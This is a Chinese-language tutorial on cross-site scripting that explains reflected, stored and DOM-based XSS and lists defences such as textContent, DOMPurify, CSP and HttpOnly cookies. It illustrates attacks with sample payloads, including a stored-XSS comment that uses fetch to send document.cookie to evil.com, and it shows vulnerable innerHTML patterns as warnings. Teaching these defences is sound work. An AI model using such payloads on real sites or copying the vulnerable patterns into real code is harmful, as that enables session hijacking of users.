如果你有在做網站,XSS 大概是你最該先搞懂的漏洞,因為它太常見、太容易出現,而且後果可以很嚴重。這篇把它一次講清楚:是什麼、怎麼攻、怎麼防。

什麼是 XSS

XSS 全名 Cross-Site Scripting(跨站腳本攻擊)。一句話:

攻擊者想辦法把惡意的 JavaScript「塞進」你的網頁,讓它在其他使用者的瀏覽器裡執行。

根本原因永遠是同一個:你把「不可信的資料」當成「程式碼」輸出到頁面上,卻沒有妥善處理。 使用者輸入的東西,最後變成了會執行的 script。

最經典的例子,一個搜尋頁把關鍵字直接印回畫面:

// 危險:直接把使用者輸入塞進 HTML
element.innerHTML = "你搜尋了:" + userInput;

如果 userInput<script>alert(document.cookie)</script>,這段 script 就會在受害者的瀏覽器執行。

為什麼危險

很多人以為「不就跳個 alert」。問題是,那段 script 能在受害者已登入的身分下做事:

  • cookie / session token → 直接冒充對方登入
  • 幫對方發文、轉帳、改密碼(在他不知情的狀況下)
  • 做假的登入框釣帳密(釣魚)
  • 記錄鍵盤輸入、竄改頁面內容

它執行的權限,就是受害者本人的權限。這才是它真正可怕的地方。

三種類型

1. 反射型(Reflected XSS)

惡意內容藏在請求裡(通常是網址參數),伺服器原封不動「反射」回頁面。攻擊者要誘騙受害者點一個帶 payload 的連結:

https://example.com/search?q=<script>...</script>

頁面把 q 直接印出來 → script 執行。一次性的,不會存起來。

2. 儲存型(Stored XSS)

最危險的一種。惡意內容被存進資料庫(留言、暱稱、個人簡介…),之後每個瀏覽到該頁的人都會中。不需要誘騙點擊,受害範圍隨瀏覽量擴大。

// 攻擊者送出一則留言:
"很棒的文章!<script>fetch('https://evil.com?c='+document.cookie)</script>"
// 之後所有看這篇留言的人,cookie 都被送到 evil.com

3. DOM 型(DOM-based XSS)

漏洞完全發生在前端 JavaScript,伺服器甚至沒參與。前端從 location.hashlocation.search 之類拿資料,直接塞進 DOM:

// 危險:直接拿網址片段寫進頁面
document.getElementById('out').innerHTML = location.hash.slice(1);

怎麼防(重點在這)

記住一個核心原則:防禦的重點是「輸出」,不是「輸入」。 同一段資料輸出到 HTML、屬性、JS、URL 的跳脫方式都不同,要依「輸出的位置」來處理。

1. 輸出編碼 / 跳脫(Output Encoding)

把資料當「文字」而不是「程式碼」輸出。最簡單的:不要用 innerHTML,用 textContent

// 安全:瀏覽器會把它當純文字,不會執行
element.textContent = "你搜尋了:" + userInput;

要組 HTML 時,把 < > & " ' 這些字元跳脫成 HTML entity(&lt; &gt; …)。

2. 用框架的自動跳脫,別繞過它

React、Vue 預設就會跳脫,正常用 {userInput} / {{ userInput }} 是安全的。真正的地雷是你手動繞過它:

// React:dangerouslySetInnerHTML 顧名思義就是危險
<div dangerouslySetInnerHTML={{ __html: userInput }} />
<!-- Vue:v-html 同樣會直接渲染 HTML -->
<div v-html="userInput"></div>

非用不可時,內容一定要先消毒

3. 需要渲染 HTML 就用 DOMPurify

像留言、富文本這種真的需要保留部分 HTML 的場景,用成熟的消毒函式庫,別自己寫正規表達式擋(一定擋不乾淨):

import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

4. CSP(Content-Security-Policy)

設一道 HTTP header,限制頁面只能執行哪些來源的 script。就算 XSS 被塞進來,inline script 也跑不起來,這是最後一道防線

Content-Security-Policy: default-src 'self'; script-src 'self'

把 session cookie 設成 HttpOnly,JavaScript 就讀不到 document.cookie,就算中了 XSS 也偷不走 session:

Set-Cookie: session=...; HttpOnly; Secure; SameSite=Strict

一張防禦清單

  • 預設用 textContent,避免 innerHTML
  • 框架的 dangerouslySetInnerHTML / v-html 一律先消毒
  • 需要 HTML 就用 DOMPurify,不要自己擋
  • 上 CSP header
  • session cookie 設 HttpOnly + Secure + SameSite
  • 記住:依「輸出位置」做對應的跳脫

結語

XSS 的本質很單純:資料和程式碼的界線被打破了。 你只要時時記得「使用者給的東西永遠是資料,不是程式碼」,並且在輸出的每一個位置都這樣對待它,大部分的 XSS 就進不來了。

防禦不難,難的是「每一個輸出點都不漏」。把這篇的清單收進寶庫,下次 code review 直接拿出來對。